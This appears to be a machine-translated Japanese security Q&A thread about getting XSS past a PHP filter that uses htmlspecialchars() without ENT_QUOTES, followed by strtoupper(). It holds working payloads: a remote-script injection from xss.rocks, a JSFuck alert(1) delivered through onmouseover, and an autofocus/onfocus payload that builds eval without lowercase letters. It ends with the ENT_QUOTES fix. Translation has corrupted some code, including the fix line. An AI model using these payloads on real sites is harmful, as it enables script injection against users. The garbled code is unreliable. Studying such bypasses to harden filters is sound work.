私は少しテストを調べましたが、次のことはわからないです、私はそれを持っていると思いますが、それをトリガーすることができません!
以下をバイパスしようとしています:
$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";
これまでのところ、私は試しました:
test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)
これは、アラート機能が大文字に変更されているため機能せず、コンソールでエラーがスローされます。また、リクエストパラメータ全体をエンコードしてみました。
test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x
<>がエンコードされていても、&lt;として出力されるように見えるため、これは機能しないようです。と&gt;
多分攻撃だけは文字セットUTF-7ですか?
何か案は?
パラメータ$ID
は、HTMLタグの属性値内に出力されます。残念ながら、それは htmlspecialchars()
を介して実行され、HTMLの重要な文字をエンコードすることになっています。関数にはENT_QUOTES
フラグが設定されていないため、<
、>
、&
、"
はエスケープされますが、'
はエスケープされません。 (一重引用符)。幸運なことに、値はそのような単一引用符で囲まれているため、'
を使用して属性を抜け出すことができます。
次に、タグを閉じて新しいタグ(たとえば、<script>
)を開始する必要がありますが、htmlspecialchars()
では許可されません(>
および<
をエスケープするため) )。したがって、代わりに、<input>
タグに対して機能するイベントハンドラーを使用する必要があります。 onload
イベントハンドラーは入力ボックスには適用されませんが、他のもの、たとえばonmouseover
を使用できます。 (副作用として、XSSをトリガーするために最小限のユーザー操作が必要になるか、追加の属性を利用する必要があります autofocus
のように、ページの読み込み時にすぐにトリガーされます。)
だからこれがあります:
<input type = 'text' value = ''onmouseover ='(JavaScriptペイロード)'> | -------------- $ ID -----------
alert(1)
のようなプレーンなJSをペイロードとして使用することはできません。値は---(strtoupper()
も通過するため、関数名がALERT(1)
は無効です。代わりに、大文字のみ、またはそれ以上で、文字をまったく使用せずに機能するJSコードを見つける必要があります。そのためには、JSコードを文字のない同等の表現に変換する JSFuck のようなツールを使用できます。
たとえば、alert(1)
は次のようになります。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
したがって、これは動作するXSS PoCになります。
' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
JSFuckの使用が実用的でない場合(たとえば、@ chefarovが指摘したURLの長さの制限のため)、小文字を使用せずに機能する他の手法があります。たとえば、属性値を完全にHTMLエンティティとして配置して、a
のalert
をa
として書き込むことができます。 (特定のシナリオでは、htmlspecialchars()
は&
もエスケープするため、これを使用することはできません。)
ただし、ここでは小文字を回避する短いペイロードのPoCを示します。
xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//
(私は基本的に小文字なしでFunction(eval(decodeURI(...)))
をアセンブルしていて、小文字を必要としないURLエンコードされた実際のペイロード(例:a
=> %61
)をフィードすることができます。)
ENT_QUOTES
フラグを追加して、二重引用符と単一引用符の両方をエンコードする必要があります。
$ NEWID = strtoupper(htmlspecialchars($ ID、 ENT_QUOTES));